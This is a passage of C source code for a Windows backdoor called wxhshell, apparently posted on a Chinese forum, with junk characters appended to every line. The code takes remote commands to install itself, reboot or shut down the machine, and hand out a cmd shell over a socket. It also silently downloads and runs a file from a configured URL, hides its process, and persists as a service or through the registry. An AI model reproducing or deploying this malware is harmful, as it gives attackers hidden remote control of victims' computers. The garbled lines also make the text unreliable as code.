    switch(cmd[0]) { \#:  W  
  ;7:} iKU  
  // 帮助 ~ O#\$u  
  case '?': { SQ4^sk_!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z:f&k}(  
    break; L{%L*z9J  
  } ,5;M(ft#  
  // 安装 `J,>#Y6(J  
  case 'i': { uD=Kar  
    if(Install()) yC\UT ~j/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z.-yL,Rc`-  
    else <PDCM8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !?JZ^/u  
    break; 0q"4\#4l  
    } )y*&&q   
  // 卸载 *mp:#'  
  case 'r': { $5 mGYF]  
    if(Uninstall()) 3Jizv,?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SqPqL<,e  
    else ?g+3 URpK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lOVcXAe}  
    break; 7gf(5p5ZV  
    } q=88*Y  
  // 显示 wxhshell 所在路径 (x2?{\?  
  case 'p': { q x)\{By  
    char svExeFile[MAX_PATH]; QvZ"{  
    strcpy(svExeFile,"\n\r"); FJtmRPP[r  
      strcat(svExeFile,ExeFile); _`? cBu`  
        send(wsh,svExeFile,strlen(svExeFile),0);  (yP1}?  
    break; _dd! nU\A|  
    } kiM:(=5  
  // 重启 LP#wE~K"b  
  case 'b': { YXWDbr:JX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U| Fqna  
    if(Boot(REBOOT)) v3Vve:}+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3xs<w7  
    else { }jCO@v;  
    closesocket(wsh); i;^lh]u  
    ExitThread(0); Gb `)d  
    } S2'ai  
    break; zBy} >Jx  
    } vlkw Wm  
  // 关机 $8eiifj  
  case 'd': { ,@f"WrQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \HLo%]A@M  
    if(Boot(SHUTDOWN)) {UP[iw$~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r 1r@TG\  
    else { h^=;\ng1l  
    closesocket(wsh); Ak@!F6~  
    ExitThread(0); zJw5+ +  
    } pmB {b  
    break; 0 (-4"u>?  
    } CHKhJ v3+4  
  // 获取shell 8C*@d_=q  
  case 's': { .ifz9 jM'  
    CmdShell(wsh); &B(z**+9  
    closesocket(wsh); " 7^nRJy  
    ExitThread(0); d|RUxNjM-J  
    break; *xNc^ &.  
  } wx3_?8z/O  
  // 退出 1}\p:`  
  case 'x': { 3Sfd|0^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k^%=\c  
    CloseIt(wsh); LhLAQ2~  
    break; % vUU Fub  
    } I9qZE=i  
  // 离开 _rYW|*cIF  
  case 'q': { s;TB(M~i[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (%L /|F_  
    closesocket(wsh); 8C3oi&av/{  
    WSACleanup(); -yqgs>R(d  
    exit(1); >S:(BJMo  
    break; \bdKLcKI,  
        } *`+zf7-f  
  } EX_j|/&tZ  
  } cQt&%SVT]E  
~NK $rHwi%  
  // 提示信息 rlKR <4H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y ]()v  
} [M[#f&=Z  
  } 5T#v &  
9DA |;|  
  return; P'8RaO&d  
} <CuUwv 'A  
iUcX\ uW  
// shell模块句柄 ~4~r  
int CmdShell(SOCKET sock) 0`S{>G  
{ KUU {X~w  
STARTUPINFO si; =OO4C  
ZeroMemory(&si,sizeof(si)); }lp37,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uwkxc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ds(Z.  
PROCESS_INFORMATION ProcessInfo; /.e7#-+?  
char cmdline[]="cmd"; [+D]!&P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "YI,  
  return 0; W_M#Gi/ AL  
} D{JjSky  
l-%] f]>  
// 自身启动模式 r gIWM"  
int StartFromService(void) 9 ~W]D!m,  
{ 8B*(P>  
typedef struct _$AM=?P &  
{ o~XK*f=(  
  DWORD ExitStatus; A*DN/lG  
  DWORD PebBaseAddress; D-{*3?x  
  DWORD AffinityMask; HU>>\t?d  
  DWORD BasePriority; iKo2bC:.&  
  ULONG UniqueProcessId; iz-z?)%  
  ULONG InheritedFromUniqueProcessId; q~9-A+n  
}   PROCESS_BASIC_INFORMATION; QtnNc!,n  
[voZ=+/  
PROCNTQSIP NtQueryInformationProcess; ~Fh+y+g?  
+ytP5K7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q~> +x?30  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y!xPmL^]?  
~b]enG5xS4  
  HANDLE             hProcess; >gp53\  
  PROCESS_BASIC_INFORMATION pbi; &7\}S qp  
wIi(\]Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dazm8_x  
  if(NULL == hInst ) return 0; s\ C ,5  
NC~?4F[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =i  vlS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B<EqzP*#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  ]+Whv%M  
~!Sd|e:4  
  if (!NtQueryInformationProcess) return 0; 2*75*EQCH  
) Z3KO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EmT_T 3v  
  if(!hProcess) return 0; |c0^7vrC  
fd *XK/h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R-m5(  
%/I:r7UR{  
  CloseHandle(hProcess); By@65KmR"  
Yd4X*Ua  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =7}1NeC`  
if(hProcess==NULL) return 0; iHNQxLkk{:  
cVx SO`jZw  
HMODULE hMod; Ac U@H0  
char procName[255]; AwG0E `SU  
unsigned long cbNeeded; )dfhy  
t[2b~peNI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `l]Lvk8O  
0qNk.1pv  
  CloseHandle(hProcess); h.K"v5I*  
Ew0)MZ.#  
if(strstr(procName,"services")) return 1; // 以服务启动 v`K%dBa  
8gNTW7W/  
  return 0; // 注册表启动 YT8q0BR]  
} IoOOS5a  
|v7Je?yh  
// 主模块 Pi"?l[T0  
int StartWxhshell(LPSTR lpCmdLine) L[2N zw O  
{ w` +,  
  SOCKET wsl; +H&/C1u  
BOOL val=TRUE; [c=W p  
  int port=0; Ydrh+  
  struct sockaddr_in door; 2 %fcDEG/  
# l9VTzi  
  if(wscfg.ws_autoins) Install(); m^XO77"  
NTq_"`JjZ  
port=atoi(lpCmdLine); s~Ivq+ipr;  
k -jFT3b$  
if(port<=0) port=wscfg.ws_port; cz IEkm  
<6-73LsHcP  
  WSADATA data; Z]uc *Ed  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {,5 .svO  
`5- ;'nX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <VD7(j]'^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C<teZz8/w  
  door.sin_family = AF_INET; fSd|6iFH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c&bhb[  
  door.sin_port = htons(port); <b"^\]l  
jo&j<3i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &v0]{)PO  
closesocket(wsl); < xeB9  
return 1; "Q+wO+}6  
} =KQIrS:  
NpGi3>5  
  if(listen(wsl,2) == INVALID_SOCKET) { 8B-PsS|'  
closesocket(wsl); EE]xZz>o  
return 1; ?<.a>"!  
} $s=` {vv  
  Wxhshell(wsl); h{7>>  
  WSACleanup(); `\(co;:  
EXeV @kg  
return 0; yg8= G vO  
}JtcAuQt  
} Z{vc6oj  
u:J( 0re  
// 以NT服务方式启动 T"htWo{v>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JZ`u?ZaJ/s  
{ i Ehc<  
DWORD   status = 0; [ p,]/ ^ N  
  DWORD   specificError = 0xfffffff; |e!Y C iU  
OMk3\FV2Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'eBD/w5U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~roNe|P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L44|/~  
  serviceStatus.dwWin32ExitCode     = 0; $hCS-9%&  
  serviceStatus.dwServiceSpecificExitCode = 0; #Ev}Gf+5Q  
  serviceStatus.dwCheckPoint       = 0; \3ydNgl  
  serviceStatus.dwWaitHint       = 0; aJv+BX_,  
,? <;zq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r{?qvl!q  
  if (hServiceStatusHandle==0) return; .0yBI=QI  
*\#<2 QAe  
status = GetLastError(); h{"SV*Xpk/  
  if (status!=NO_ERROR) D8! Y0  
{ "Ia.$,k9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J#H,QYnf(L  
    serviceStatus.dwCheckPoint       = 0; Q*Jb0f  
    serviceStatus.dwWaitHint       = 0; 5-0&`,  
    serviceStatus.dwWin32ExitCode     = status; fcp_<2KH  
    serviceStatus.dwServiceSpecificExitCode = specificError; .n_Z0&i/w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .s"Og;g  
    return; v$@1q9 5J  
  } ?4wl  
9[\do@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7./WS,49  
  serviceStatus.dwCheckPoint       = 0; I/upiqy  
  serviceStatus.dwWaitHint       = 0; aC' 6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g:~q&b[q6  
} @?J7=}bzz  
kK4+K74B  
// 处理NT服务事件,比如:启动、停止 ZYY~A_C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z2*?a|3  
{ 0VQBm^$(  
switch(fdwControl) z2Wblh"_  
{   +fM8  
case SERVICE_CONTROL_STOP: G"3KYBN>  
  serviceStatus.dwWin32ExitCode = 0; AW \uE[kg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2sgp$r  
  serviceStatus.dwCheckPoint   = 0; lAG@nh^  
  serviceStatus.dwWaitHint     = 0; wvisu\V  
  { @$kzes\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Bpb?  
  } ?{ \7th37  
  return; id+EBVHAd  
case SERVICE_CONTROL_PAUSE: :I /9j=@1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HZ!<dy3  
  break; wbr$w>n  
case SERVICE_CONTROL_CONTINUE: V%;dTCq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R f)|p;  
  break; XySkm2y  
case SERVICE_CONTROL_INTERROGATE: f'"PQr^9  
  break; /T  {R\  
}; ;2`t0#J$]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W\0u[IV.x  
} ' xaPahx;  
I AUc.VH  
// 标准应用程序主函数 wAu]U6!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M`Wk@t6>  
{ q},,[t  
T1RY1hb|g>  
// 获取操作系统版本 9MJ:]F5+  
OsIsNt=GetOsVer(); h8M_Uk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 4bDJy1  
1NZpd'$c  
  // 从命令行安装 L~h:>I+pG  
  if(strpbrk(lpCmdLine,"iI")) Install(); x]hG2on!  
0n4(Rj|}2  
  // 下载执行文件 =n=!s{A:t  
if(wscfg.ws_downexe) { n(LO`{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  )bYOy+2g  
  WinExec(wscfg.ws_filenam,SW_HIDE); _qOynW  
} H/ ejO_{  
}jce5E  
if(!OsIsNt) { ^wSGrV'  
// 如果时win9x,隐藏进程并且设置为注册表启动 \I6F;G6  
HideProc(); I4ZbMnO  
StartWxhshell(lpCmdLine); 6^jrv [d  
} s!D?%  
else xh<{lZ)KJ  
  if(StartFromService()) 3HR)H-@6@7  
  // 以服务方式启动 +3AX1o%p,#  
  StartServiceCtrlDispatcher(DispatchTable); 8kd):gZKZ  
else HnFH|H<Uf  
  // 普通方式启动 QA~F  
  StartWxhshell(lpCmdLine); L{;Q6_m  
Z s| *+[  
return 0; (I;81h`1G  
}
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只看该作者 1 发表于: 2006-10-10
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